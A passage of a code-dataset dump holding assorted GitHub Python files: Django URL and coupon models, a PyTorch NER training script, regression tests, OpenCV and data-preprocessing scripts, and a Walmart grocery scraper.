pr)\n","repo_name":"miyulo139/DBII-Lab9.1","sub_path":"lab9_1.py","file_name":"lab9_1.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18696915341","text":"from django.urls import path\nfrom .views import list_Filme, list_Sessao, list_Ingresso, \\\n    create_Filme, create_Sessao, create_Ingresso, \\\n    update_Filme, update_Sessao, update_Ingresso, \\\n    delete_Filme, delete_Sessao, delete_Ingresso\n\nurlpatterns = [\n    path('Filme', list_Filme, name='list_Filme'),\n    path('Sessao', list_Sessao, name='list_Sessao'),\n    path('Ingresso', list_Ingresso, name='list_Ingresso'),\n    path('new_Filme', create_Filme, name='create_Filme'),\n    path('new_Sessao', create_Sessao, name='create_Sessao'),\n    path('new_Ingresso', create_Ingresso, name='create_Ingresso'),\n    path('update_Filme/<int:id>/', update_Filme, name='update_Filme'),\n    path('update-Sessao/<int:id>/', update_Sessao, name='update_Sessao'),\n    path('update_Ingresso/<int:id>/', update_Ingresso, name='update_Ingresso'),\n    path('delete_Filme/<int:id>/', delete_Filme, name='delete_Filme'),\n    path('delete_Sessao/<int:id>/', delete_Sessao, name='delete_Sessao'),\n    path('delete_Ingresso/<int:id>', delete_Ingresso, name='delete_Ingresso')\n]","repo_name":"Gustavo-Donisete/Projeto.Cinema","sub_path":"Cinema/cinema/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22704506847","text":"from Client.context.ViewModelContext import ViewModelContext;\n\nimport uuid;\nimport traceback;\nfrom tkinter import messagebox;\n\nclass ClientInstance():\n    def __init__(self):\n        self.__context = ViewModelContext(self);\n\n        self.__name = str();\n        self.__identifier = uuid.uuid4().hex;\n\n        self.__player = None;\n        self.__game = None;\n\n        self.__context.UIContext.StartMainWindow();\n\n    @property\n    def Context(self):\n        return self.__context;\n\n    @property\n    def Name(self):\n        return self.__name;\n\n    @property\n    def Identifier(self):\n        return self.__identifier;\n\n    @property\n    def Player(self):\n        return self.__player;\n\n    @property\n    def Game(self):\n        return self.__game;\n\n    @property\n    def GameIdentifier(self):\n        if not self.__game:\n            return None;\n\n        return self.__game.Identifier;\n\n    #region Client\n\n    def SetName(self, name):\n        if (not isinstance(name, str)):\n            print(\"[ERROR] Name must be a string in order to create a player.\")\n            return;\n\n        self.__name = name.strip();\n        return;\n\n    def SetPlayer(self, player):\n        self.__player = player;\n        return;\n\n    def SetGame(self, game):\n        self.__game = game;\n        self.Player._Player__role = None;\n        return;\n\n    #endregion\n\nif __name__ == \"__main__\":\n    try:\n        ClientInstance();\n    except Exception as error:\n        # this doesn't encapsulate the entire program in a try-catch\n        # it just takes care of any boot errors and provide the user with\n        # a concrete error message + trace\n        trace = traceback.format_exc();\n        messagebox.showerror(\"Error\",\\\n            \"Please share this screen/message to an active developer \" +\\\n            \" with some replication steps (if possible):\" +\\\n            \"\\n\\nError: \" + str(error) +\\\n            \"\\n\\nTrace:\" + trace);\n","repo_name":"GeorgeVelikov/RLereWolf","sub_path":"Client/ClientInstance.py","file_name":"ClientInstance.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"37944129054","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport torch\nimport torch.autograd as autograd\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.optim as optim\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\nfrom sklearn.metrics import f1_score\n\nimport torch.nn as nn\n\n\n\n# In[2]:\n\n\nclass NERDataset(Dataset):\n    def __init__(self, filename, word_vocab, label_vocab):\n        self.data = []\n        with open(filename, 'r') as f:\n            sentence = []\n            labels = []\n            for line in f:\n                line = line.strip()\n                if not line: #blank line\n                    self.data.append((sentence, labels))\n                    sentence = []\n                    labels = []\n                else:\n                    fields = line.split()\n                    word = fields[1]\n                    label = fields[-1]\n                    if(word in word_vocab):\n                      sentence.append(word_vocab[word])\n                      labels.append(label_vocab[label])\n                    else:\n                      sentence.append(1)\n                      labels.append(label_vocab[label])\n        self.data.append((sentence, labels))\n    \n    def __len__(self):\n        return len(self.data)\n    \n    def __getitem__(self, index):\n        sentence, labels = self.data[index]\n        return torch.tensor(sentence), torch.tensor(labels)\n\n\n# Create vocabulary of words and labels\nword_vocab = {}\nword_vocab['<PAD>']=0\nword_vocab['<UNK>']=1\nlabel_vocab = {}\n\nwith open('data/train', 'r') as f:\n    for line in f:\n        line = line.strip()\n        if line:\n            fields = line.split()\n            word = fields[1]\n            label = fields[-1]\n            if word not in word_vocab:\n                word_vocab[word] = len(word_vocab)\n            if label not in label_vocab:\n                label_vocab[label] = len(label_vocab)\n\ninverted_label_vocab = {v: k for k, v in label_vocab.items()}\n\n\n# Load train, dev and test datasets\ntrain_dataset = NERDataset('data/train', word_vocab, label_vocab)\ndev_dataset = NERDataset('data/dev', word_vocab, label_vocab)\n\ndef collate_fn(batch):\n    inputs,target = zip(*batch)\n    seq_length = torch.Tensor([len(seq) for seq in inputs])\n    padded_inputs = nn.utils.rnn.pad_sequence(inputs, batch_first = True, padding_value = 0)\n    padded_targets = nn.utils.rnn.pad_sequence(target, batch_first = True, padding_value = -1)\n    return padded_inputs,seq_length,padded_targets\n    \n\n# Create dataloaders\nbatch_size = 32\ntrain_dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True,collate_fn=collate_fn)\ndev_dataloader = DataLoader(dev_dataset, batch_size=batch_size,collate_fn=collate_fn)\n\n\n# In[3]:\n\n\nclass BLSTM(nn.Module):\n    def __init__(self, embedding_dim, num_lstm_layers, lstm_hidden_dim, lstm_dropout, linear_output_dim, num_classes):\n        super().__init__()\n        self.embedding = nn.Embedding(num_embeddings, embedding_dim,padding_idx=0)\n        self.lstm = nn.LSTM(input_size=embedding_dim, hidden_size=lstm_hidden_dim, num_layers=num_lstm_layers, batch_first=True, bidirectional=True)\n        self.linear = nn.Linear(lstm_hidden_dim*2, linear_output_dim)\n        self.dropout =nn.Dropout(p=lstm_dropout)\n        self.activation = nn.ELU()\n        self.classifier = nn.Linear(linear_output_dim, num_classes)\n\n    def forward(self,data,lengths):\n        # Sort the data by length in descending order\n        #lengths, sort_indices = torch.sort(lengths, descending=True)\n        #data = data[sort_indices]\n        # Convert data to embeddings\n        embeddings = self.embedding(data)\n        # Pack the padded sequence\n        packed_embeddings = pack_padded_sequence(embeddings, lengths, batch_first=True, enforce_sorted=False)\n        # Pass the packed sequence through the LSTM\n        lstm_out, _ = self.lstm(packed_embeddings)\n        # Unpack the padded sequence\n        lstm_out, _ = pad_packed_sequence(lstm_out, batch_first=True)\n        # Re-sort the data back to the original order\n        # _, unsort_indices = torch.sort(sort_indices)\n        #lstm_out = lstm_out[unsort_indices]\n        # Pass the output of the LSTM through the linear layer and activation function\n        #dropout\n        lstm_out = self.dropout(lstm_out)\n        linear_out = self.activation(self.linear(lstm_out))\n        # Pass the output of the linear layer through the classifier\n        logits = self.classifier(linear_out)\n        return logits\n    \n\n\n# In[4]:\n\n\nlearning_rate = 1\nnum_epochs = 30\nnum_classes = len(label_vocab)\nnum_embeddings = len(word_vocab)\n# print(label_vocab)\n# print(num_embeddings)\n\n\n\n# In[5]:\n\n\n# Initialize the model\nmodel = BLSTM(embedding_dim=100, num_lstm_layers=1, lstm_hidden_dim=256, lstm_dropout=0.33, linear_output_dim=128, num_classes=num_classes)\n\n#model = torch.load(\"/content/drive/MyDrive/NLP/data/hw4model.pt\")\n\n\n# Define loss function and optimizer\ncriterion = nn.CrossEntropyLoss(weight= torch.tensor([1,0.5,1,1,1,1,1,1,1]), ignore_index=-1).cuda()\noptimizer = optim.SGD(model.parameters(), lr=learning_rate)\nlrscheduler =optim.lr_scheduler.ReduceLROnPlateau(optimizer,mode='min',factor=0.5,patience=3,verbose=True)\n\n\n# In[6]:\n\n\n#train the model\nfor epoch in range(num_epochs):\n    model.cuda()\n    model.train()\n    curr_loss=0.0\n    for inputs,seqlen,labels in train_dataloader:\n        \n        inputs = inputs.cuda()\n        labels = labels.cuda()\n        \n        optimizer.zero_grad()\n        outputs = model(inputs,seqlen)\n        #chk shape use .view\n        outputs = outputs.view(-1, 9)\n        labels = labels.view(-1)\n        loss = criterion(outputs, labels)\n        loss.backward()\n        optimizer.step()\n        curr_loss+= loss.item()\n        \n    model.cuda()\n    model.eval()\n    curr_dev_loss = 0\n    with torch.no_grad():\n      for val_inputs, val_seqlengths, val_labels in dev_dataloader:\n        # val_inputs, val_labels = val_inputs.to(div), val_labels.to(div)\n        val_inputs = val_inputs.cuda()\n        val_labels = val_labels.cuda()\n        \n        val_output = model(val_inputs, val_seqlengths)\n        val_output = val_output.view(-1, 9)\n        val_labels = val_labels.view(-1)\n        \n        loss = criterion(val_output, val_labels)\n        curr_dev_loss += loss    \n    # f1 = f1_score(val_labels, val_output, average='micro')\n    # print(\"f1 score is\",f1)\n\n    val_loss=curr_dev_loss / len(dev_dataloader)\n    lrscheduler.step(val_loss)\n    print(f'Epoch {epoch+1}/{num_epochs}, Dev Loss: {val_loss:.4f}')\n    print(f'Epoch {epoch+1}/{num_epochs}, Train Loss: {curr_loss/len(train_dataloader):.4f}\\n')\n\n\n# In[9]:\n\n\nprint(outputs.shape)\nmodel_file = 'blstm1.pt'\n\n# save the model\ntorch.save(model.state_dict(), model_file)\n\n","repo_name":"Aditi-hande/Natural-Language-Processing","sub_path":"task1_dev.py","file_name":"task1_dev.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10112156945","text":"# Pure function: given the same input it'll always return the same output\n# function should not produce any side effect affecting the outside of scope of function\n\n\ndef multiply_by2(lst: list):\n    new_lst = []\n    for item in lst:\n        new_lst.append(item * 2)\n    return new_lst\n\ndef attack(character):\n    return f'attacking with the power of {character[\"power\"]}'\n\n\nwizard = {\n    'name': 'Merlin',\n    'power': 50\n}\n\nprint(attack(wizard))\n\n\nprint(multiply_by2([1,2,3]))\n","repo_name":"wojbur/zero-to-mastery-python-course","sub_path":"Section 7 - Functional Programming/139_pure_functions.py","file_name":"139_pure_functions.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40263484711","text":"import json \nimport pandas as pd\ngeojsonVn = json.load(open(\"../Data/vietnam.geojson\",\"r\",encoding=\"utf8\"))\n\nCoordinate = pd.read_csv(\"../Data/Coordinate.csv\",index_col = 0)\nCoordinate[\"Name\"] = Coordinate[\"Name\"].map(lambda name: name.replace(\"Sở GDĐT\",\"\").strip())\n# Coordinate\n\ndef countCategory(row):\n    for i in range(63):\n        if (geojsonVn[\"features\"][i][\"properties\"][\"name\"] in row[\"Name\"]):\n            row[\"id\"] = geojsonVn[\"features\"][i][\"properties\"][\"id_1\"]\n    return row\n\nCoordinate = Coordinate.apply(countCategory, axis='columns')\nCoordinate.to_csv(\"../Data/Coordinate.csv\",encoding='utf-8-sig')","repo_name":"tlminhkhoa/2020-National-Exam","sub_path":"Preprocessor/Coor_Preprocess.py","file_name":"Coor_Preprocess.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3034519464","text":"import datetime\n\nfrom django.db import models\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom .helpers import get_random_code\nfrom users.models import Product\nimport datetime as dt\nfrom multiselectfield import MultiSelectField\n# Create your models here.\n\nDSC_COUPON_CODE_LENGTH = 12\n\n\nclass Ruleset(models.Model):\n    allowed_users = models.ForeignKey('AllowedUsersRule', on_delete=models.CASCADE, verbose_name=\"Allowed users rule\")\n    max_uses = models.ForeignKey('MaxUsesRule', on_delete=models.CASCADE, verbose_name=\"Max uses rule\")\n    validity = models.ForeignKey('ValidityRule', on_delete=models.CASCADE, verbose_name=\"Validity rule\")\n    free_shipping = models.ForeignKey('FreeShippingRule', on_delete=models.CASCADE, verbose_name=\"Free shipping rule\",\n                                      null=True, blank=True)\n    free_samples = models.ForeignKey('FreeSamplesRule', on_delete=models.CASCADE, verbose_name=\"Free Samples rule\", null=True, blank=True)\n    loyalty_offer = models.ForeignKey('LoyaltyStatusRule', on_delete=models.CASCADE, verbose_name=\"Loyalty Points rule\",\n                                      null=True, blank=True)\n    bogo_offer = models.ForeignKey('BOGORule', on_delete=models.CASCADE, verbose_name=\"BOGO rule\", null=True, blank=True)\n    time_sensitive_coupon = models.ForeignKey('TimeSensitiveCouponRule', on_delete=models.CASCADE,\n                                              verbose_name=\"Time-Sensitive Coupon Rule\", null=True, blank=True)\n\n    def __str__(self):\n        return \"Ruleset Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Ruleset\"\n        verbose_name_plural = \"Rulesets\"\n\n\nclass AllowedUsersRule(models.Model):\n    user_model = settings.AUTH_USER_MODEL\n\n    users = models.ManyToManyField(user_model, verbose_name=\"Users\", blank=True)\n    all_users = models.BooleanField(default=False, verbose_name=\"All users?\")\n\n    def __str__(self):\n        return \"AllowedUsersRule Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Allowed User Rule\"\n        verbose_name_plural = \"Allowed User Rules\"\n\n\nWEEK_DAYS = (('MONDAY', 'MONDAY'),\n             ('TUESDAY', 'TUESDAY'),\n             ('WEDNESDAY', 'WEDNESDAY'),\n             ('THURSDAY', 'THURSDAY'),\n             ('FRIDAY', 'FRIDAY'),\n             ('SATURDAY', 'SATURDAY'),\n             ('SUNDAY', 'SUNDAY'))\n\nHOUR_CHOICES = [(dt.time(hour=x), '{:02d}:00'.format(x)) for x in range(0, 24)]\n\n\nclass TimeSensitiveCouponRule(models.Model):\n    is_eligible = models.BooleanField(default=False, verbose_name=\"Is Time-sensitive coupon Eligible?\")\n    permissible_weekdays = MultiSelectField(choices=WEEK_DAYS, blank=True, null=True)\n    begin_time = models.TimeField(choices=HOUR_CHOICES, default=dt.time(00, 00), blank=True, null=True)\n\n    def __str__(self):\n        return \"AllowedUsersRule Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Time-Sensitive Coupon Rule\"\n        verbose_name_plural = \"Time-Sensitive Coupon Rules\"\n\n\nclass LoyaltyStatusRule(models.Model):\n    threshold_loyalty_points = models.IntegerField(default=10000, verbose_name=\"Threshold loyalty points above which \"\n                                                                               \"benefits can be redeemed\")\n    is_eligible = models.BooleanField(default=False, verbose_name=\"Is Loyalty Points Discount Eligible?\")\n\n    def __str__(self):\n        return \"Free LoyaltyStatus Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Loyalty Status Rule\"\n        verbose_name_plural = \"Loyalty Status Rules\"\n\n\nclass BOGORule(models.Model):\n    main_product = models.ForeignKey(Product, on_delete=models.CASCADE, related_name=\"main_product\")\n    free_product = models.ForeignKey(Product, on_delete=models.CASCADE, related_name=\"free_product\")\n    is_eligible = models.BooleanField(default=False, verbose_name=\"Is BOGO Rule applicable ?\")\n\n    def __str__(self):\n        return \"BOGORule Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"BOGO Rule\"\n        verbose_name_plural = \"BOGO Rules\"\n\n\nclass FreeSamplesRule(models.Model):\n    threshold_amount = models.IntegerField(default=10000, verbose_name=\"Threshold amount above which free \" +\n                                                                       \"samples to be given\")\n    is_eligible = models.BooleanField(default=False, verbose_name=\"Is Free Samples Gift Eligible?\")\n\n    def __str__(self):\n        return \"Free SampleRule Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Free Sample Rule\"\n        verbose_name_plural = \"Free Sample Rules\"\n\n\nclass FreeShippingRule(models.Model):\n    is_eligible = models.BooleanField(default=False, verbose_name=\"Is Free Shipping Eligible?\")\n\n    def __str__(self):\n        return \"Free ShippingRule Nº{0}\".format(self.id)\n\n    class Meta:\n        verbose_name = \"Free Shipping Rule\"\n        verbose_name_plural = \"Free Shipping Rules\"\n\n\nclass MaxUsesRule(models.Model):\n    max_uses = models.BigIntegerField(default=0, verbose_name=\"Maximum uses\")\n    is_infinite = models.BooleanField(default=False, verbose_name=\"Infinite uses?\")\n    uses_per_user = models.IntegerField(default=1, verbose_name=\"Uses per user\")\n\n    def __str__(self):\n        return \"MaxUsesRule Nº{0}\".   format(self.id)\n\n    class Meta:\n        verbose_name = \"Max Uses Rule\"\n        verbose_name_plural = \"Max Uses Rules\"\n\n\nclass ValidityRule(models.Model):\n    expiration_date = models.DateTimeField(verbose_name=\"Expiration date\")\n    is_active = models.BooleanField(default=False, verbose_name=\"Is active?\")\n\n    def __str__(self):\n        return \"ValidityRule Nº{0}\".   format(self.id)\n\n    class Meta:\n        verbose_name = \"Validity Rule\"\n        verbose_name_plural = \"Validity Rules\"\n\n# RECURRENCE_CHOICES = (\n#     (0, 'None'),\n#     (1, 'Daily'),\n#     (7, 'Weekly'),\n#     (14, 'Biweekly')\n# )\n\nclass CouponUser(models.Model):\n    user_model = settings.AUTH_USER_MODEL\n\n    user = models.ForeignKey(user_model, on_delete=models.CASCADE, verbose_name=\"User\")\n    coupon = models.ForeignKey('Coupon', on_delete=models.CASCADE, verbose_name=\"Coupon\")\n    times_used = models.IntegerField(default=0, editable=False, verbose_name=\"Times used\")\n\n    def __str__(self):\n        return str(self.user)\n\n    class Meta:\n        verbose_name = \"Coupon User\"\n        verbose_name_plural = \"Coupon Users\"\n\n\nclass Discount(models.Model):\n    value = models.IntegerField(default=0, verbose_name=\"Value\")\n    is_percentage = models.BooleanField(default=False, verbose_name=\"Is percentage?\")\n\n    def __str__(self):\n        if self.is_percentage:\n            return \"{0}% - Discount\".format(self.value)\n\n        return \"Rs{0} - Discount\".format(self.value)\n\n    class Meta:\n        verbose_name = \"Discount\"\n        verbose_name_plural = \"Discounts\"\n\n\nclass Coupon(models.Model):\n    code_length = DSC_COUPON_CODE_LENGTH\n    code = models.CharField(max_length=code_length, default=get_random_code, verbose_name=\"Coupon Code\", unique=True)\n    discount = models. ForeignKey('Discount', on_delete=models.CASCADE)\n    times_used = models.IntegerField(default=0, editable=False, verbose_name=\"Times used\")\n    created = models.DateTimeField(editable=False, verbose_name=\"Created\")\n    ruleset = models.ForeignKey('Ruleset', on_delete=models.CASCADE, verbose_name=\"Ruleset\")\n\n    def __str__(self):\n        return self.code\n\n    def use_coupon(self, user):\n        coupon_user, created = CouponUser.objects.get_or_create(user=user, coupon=self)\n        coupon_user.times_used += 1\n        coupon_user.save()\n        self.times_used += 1\n        self.save()\n\n    def get_discount(self):\n        return {\n            \"value\": self.discount.value,\n            \"is_percentage\": self.discount.is_percentage\n        }\n\n    def get_discounted_value(self, initial_value):\n        discount = self.get_discount()\n\n        if discount['is_percentage']:\n            new_price = initial_value - ((initial_value * discount['value']) / 100)\n            new_price = new_price if new_price >= 0.0 else 0.0\n        else:\n            new_price = initial_value - discount['value']\n            new_price = new_price if new_price >= 0.0 else 0.0\n\n        return new_price\n\n    def save(self, *args, **kwargs):\n        if not self.id:\n            self.created = timezone.now()\n        return super(Coupon, self).save(*args, **kwargs)\n\n","repo_name":"poorvaparkhi/coupons","sub_path":"couponrules/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6155126513","text":"from pdf_to_jpeg import convert_pdf_to_jpeg\nfrom model.model import TextRecognizer\nfrom img_processing_module import ImgProcessingModule\n\ntext_model = TextRecognizer(\"weights/name.pth\")\ndate_model = TextRecognizer(\"weights/date.pth\")\nimg_processing_module = ImgProcessingModule(3)\n\n\ndef func():\n    convert_pdf_to_jpeg('pdf_test/KS.2010.01.001.PDF', 'img_ks/1.jpg')\n    fields = img_processing_module.get_fields('img_ks/1.jpg')\n    print(text_model.predict(fields[0]))\n    print(date_model.predict(fields[1]))\n\n\nfunc()\n","repo_name":"bivsbon/docs_automation","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19944564162","text":"import csv\n \ntrain_personID_path = './train_personID.csv'\ntrain_without_personID_path = './train_without_personID.csv'\n\ntrain_personID = []\ntrain_without_personID = []\n\nwith open(train_personID_path) as csvfile:\n    csv_reader = csv.reader(csvfile)  # 使用csv.reader读取csvfile中的文件\n    for row in csv_reader:           \n        train_personID.append(row)\n\nwith open(train_without_personID_path) as csvfile:\n    csv_reader = csv.reader(csvfile)  # 使用csv.reader读取csvfile中的文件\n    for row in csv_reader:          \n        train_without_personID.append(row)\n\ndicts = []\nfor data in train_without_personID:\n    isFind = False\n    for temp_data in train_personID:\n        # 属于同一个视频\n        if int(data[0]) == int(temp_data[0]):\n            # 属于同一张图片\n            if int(data[1]) == int(temp_data[1]):\n                if abs(float(data[2])-float(temp_data[2]))<0.005 and abs(float(data[3])-float(temp_data[3]))<0.005 and abs(float(data[4])-float(temp_data[4]))<0.005 and abs(float(data[5])-float(temp_data[5]))<0.005:\n                    # temp_data[6]-1 代表将ID-1，原因是ID从0开始计数\n                    dict = [data[0],data[1],data[2],data[3],data[4],data[5],data[6],int(temp_data[6])-1]\n                    dicts.append(dict)\n                    isFind = True\n                    break\n    if not isFind:\n        dict = [data[0],data[1],data[2],data[3],data[4],data[5],data[6],-1]\n        dicts.append(dict)\n\nwith open('./train_temp.csv',\"w\") as csvfile: \n    writer = csv.writer(csvfile)\n    writer.writerows(dicts)","repo_name":"Whiffe/Custom-ava-dataset_Custom-Spatio-Temporally-Action-Video-Dataset","sub_path":"Dataset/train_temp.py","file_name":"train_temp.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"22"}
+{"seq_id":"74738921974","text":"import numpy as np\nimport polars as pl\nimport polars.testing\nimport pytest\nfrom pytest import approx\nfrom scipy.stats import t  # type: ignore[import]\n\nfrom renkon.core.stats.linear import OLSModel\nfrom renkon.util.polars import RenkonPolarsUtils  # noqa: F401\n\n\ndef test_linear_perfect_fit() -> None:\n    x = np.arange(0.0, 1000.0)\n    y = 13.0 * x + 37.0\n\n    # Collate data, split out 10% for testing.\n    df = pl.DataFrame({\"x\": x, \"y\": y})\n    df, df_test = df[:900], df[900:]\n\n    # Construct a model and fit it.\n    model = OLSModel(\"y\", [\"x\"], fit_intercept=True)\n    fit = model.fit(df)\n\n    # Test if the fit is correct.\n    m, c = fit.params.m, fit.params.c\n    assert m == approx(13)\n    assert c == approx(37)\n\n    # Test if the model properly scores the test data.\n    score = df_test.select(fit.score()).item()\n    assert score == approx(1.0)\n\n    # Test if the model properly predicts the test data.\n    y_pred = df_test.select(model.predict(fit.params)).get_column(\"y\")\n    pl.testing.assert_series_equal(y_pred, df_test[\"y\"])\n\n\n@pytest.mark.flaky(reruns=5, rerun_delay=1)\ndef test_linear_noisy_fit() -> None:\n    # This is a statistical test, and rarely may fail. Reset the random seed before each test run.\n    np.random.seed()\n    n = 1000\n    noise_std = 10.0\n\n    x = np.arange(0.0, 1000.0)\n    y = 13.0 * x + 37.0\n    y_noisy = y + np.random.normal(0.0, noise_std, n)\n    df = pl.DataFrame({\"x\": x, \"y\": y_noisy})\n    df, df_test = df[:900], df[900:]\n\n    model = OLSModel(\"y\", [\"x\"])\n    fit = model.fit(df)\n\n    # Compute the critical value for a two-tailed t-test.\n    alpha = 0.05\n    dof = len(df) - 2 - 1\n    t_crit = t.ppf(1 - alpha / 2, dof)\n\n    # Get the standard errors of the slope and intercept.\n    se_c, se_m = fit.bse\n\n    # Test if the fit is correct: params within t_crit * se of the true values.\n    m, c = fit.params.m, fit.params.c\n    assert m == approx(13, abs=se_m * t_crit)\n    assert c == approx(37, abs=se_c * t_crit)\n\n    # Test if the model properly scores the test data.\n    score = df.select(fit.score()).item()\n    assert score == approx(1.0, rel=0.01)\n\n    # Calculate the standard error of estimate (SE)\n    # se_estimate = np.sqrt((results.resid**2).sum() / dof)\n\n    # Expect predicted values to be within 3 * noise_factor of the true values.\n    y_pred = df_test.select(fit.predict()).get_column(\"y\")\n    pl.testing.assert_series_equal(df_test[\"y\"], y_pred, atol=3 * noise_std)\n\n\ndef test_linear_outlier_detection() -> None:\n    x = np.arange(0.0, 100.0)\n    y = x\n    df = pl.DataFrame({\"x\": x, \"y\": y})\n\n    model = OLSModel(\"y\", [\"x\"], fit_intercept=True)\n    fit = model.fit(df)\n\n    # Produce some data that could not be explained by this model:\n    bad_x = np.arange(0.0, 100.0, 10.0)\n    bad_y = np.random.randint(100, 1000, len(bad_x))\n    bad_df = pl.DataFrame({\"x\": bad_x, \"y\": bad_y})\n\n    _train_mad = df.select(pl.col(\"y\").rk.mad()).item()  # type: ignore[attr-defined]\n    assert not bad_df.select((fit.errors().abs() < _train_mad).any()).item()\n    assert df.select((fit.errors().abs() < _train_mad).all()).item()\n","repo_name":"DylanLukes/renkon","sub_path":"tests/core/stats/test_linear.py","file_name":"test_linear.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34223947653","text":"import cv2 as cv\nimport numpy as np\n\n\nimg = cv.imread('pictures/morphological.png')\nkernel = np.ones((5, 5), np.uint8)  # 5,5 matris kanal yok siyah beyaz\ngradient =cv.morphologyEx(img,cv.MORPH_GRADIENT,kernel)   # dilation - erosion\n\n\ncv.imshow('orjinal', img)\ncv.imshow('gradient', gradient)\n\ncv.waitKey(0)\ncv.destroyAllWindows()","repo_name":"Serhatkacmaz/OpenCv-Tutorial","sub_path":"Image Processing in OpenCV/5_Morphological Transformations/5_Morphological Gradient.py","file_name":"5_Morphological Gradient.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"17867330015","text":"#!/usr/bin/python\n\nfrom typing import List, Optional\nimport undetected_chromedriver.v2 as uc\nimport logging\n\nlog = logging.getLogger(\"walmart_scraper\")\nlog.setLevel(logging.INFO)\nlog_handler = logging.StreamHandler()\nlog_handler.setFormatter(logging.Formatter(\"[%(levelname)s] %(message)s\"))\nlog.addHandler(log_handler)\n\n\nclass GroceryItem():\n    __slots__ = [\"name\", \"price\", \"price_per_unit\", \"description\", \"image_url\"]\n\n    def __init__(self, name: str, price: float, price_per_unit: str, description: str, image_url: Optional[str] = None):\n        self.name = name\n        self.price = price\n        self.price_per_unit = price_per_unit\n        self.description = description\n        self.image_url = image_url\n\n    def __repr__(self) -> str:\n        return f\"{self.name} - ${self.price} ({self.price_per_unit} - {self.description})\"\n\n\nclass WalmartScraper():\n    def __init__(self, headless: bool = False, debug_log: bool = False):\n        if debug_log:\n            log.setLevel(logging.DEBUG)\n        log.debug(\"Initialising web engine\")\n        options = uc.ChromeOptions()\n        options.add_argument(\n            \"--disable-infobars --disable-dev-shm-usage --disable-browser-side-navigation --disable-gpu --no-first-run --no-service-autorun --password-store=basic\")\n        if headless:\n            options.add_argument(\"--headless\")\n            options.add_argument(\n                \"--user-agent=\\\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\"\")\n        self.driver = uc.Chrome(\n            options=options)\n        self.driver.get(\"https://walmart.ca/cp/grocery\")\n        log.info(\"Ready to serve grocery queries\")\n\n    def query(self, query: str) -> GroceryItem:\n        log.debug(f\"Searching for {query}\")\n        result: GroceryItem = self.query_ten(query)\n        if len(result) > 0:\n            return result[0]\n        raise IndexError(f\"No items found for query {query}\")\n\n    def query_ten(self, query: str) -> List[GroceryItem]:\n        log.debug(f\"Searching top ten results for {query}\")\n        # c=10019 required to indicate grocery\n        self.driver.get(f\"https://www.walmart.ca/search?q={query}&c=10019\")\n        results: list = self.driver.execute_script(\"\"\"\n        const products = Array.from(document.querySelectorAll('[data-automation=\"main-search-wrapper\"] [data-automation=\"grocery-product\"]')).splice(0, 10);\n        return products.map((e) => {\n            return {\n                name: e.querySelector('[data-automation=\"name\"]').innerText,\n                price: e.querySelector('[data-automation=\"current-price\"]')?.innerText,\n                pricePerUnit: e.querySelectorAll('[data-automation=\"price-per-unit\"]')[1]?.innerText,\n                description: e.querySelector('[data-automation=\"description\"]')?.innerText,\n                imageUrl: e.querySelector('[data-automation=\"image\"]')?.src\n            }\n        });\n        \"\"\")\n        groceries = []\n        for i in results:\n            # cents vs dollars\n            if \"price\" in i and i[\"price\"]:\n                processed_price = float(i[\"price\"][1:]) if \"$\" in i[\"price\"] else (float(i[\"price\"][:-1]) / 100)\n            else:\n                processed_price = 0.0\n            groceries.append(GroceryItem(\n                name=i[\"name\"], price=processed_price, price_per_unit=i[\"pricePerUnit\"], description=i[\"description\"], image_url=i[\"imageUrl\"]))\n        log.debug(f\"Found at least {len(groceries)} results\")\n        if len(groceries) > 0:\n            return groceries\n        raise IndexError(f\"No items found for query {query}\")\n\n    def exit(self):\n        self.driver.close()\n\n\nif __name__ == \"__main__\":\n    # test version\n    scraper = WalmartScraper(debug_log=True)\n    print(scraper.query(\"apple\").image_url)\n    scraper.exit()\n","repo_name":"vincentjguo/recipeready-server","sub_path":"scraper/walmart_scraper.py","file_name":"walmart_scraper.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
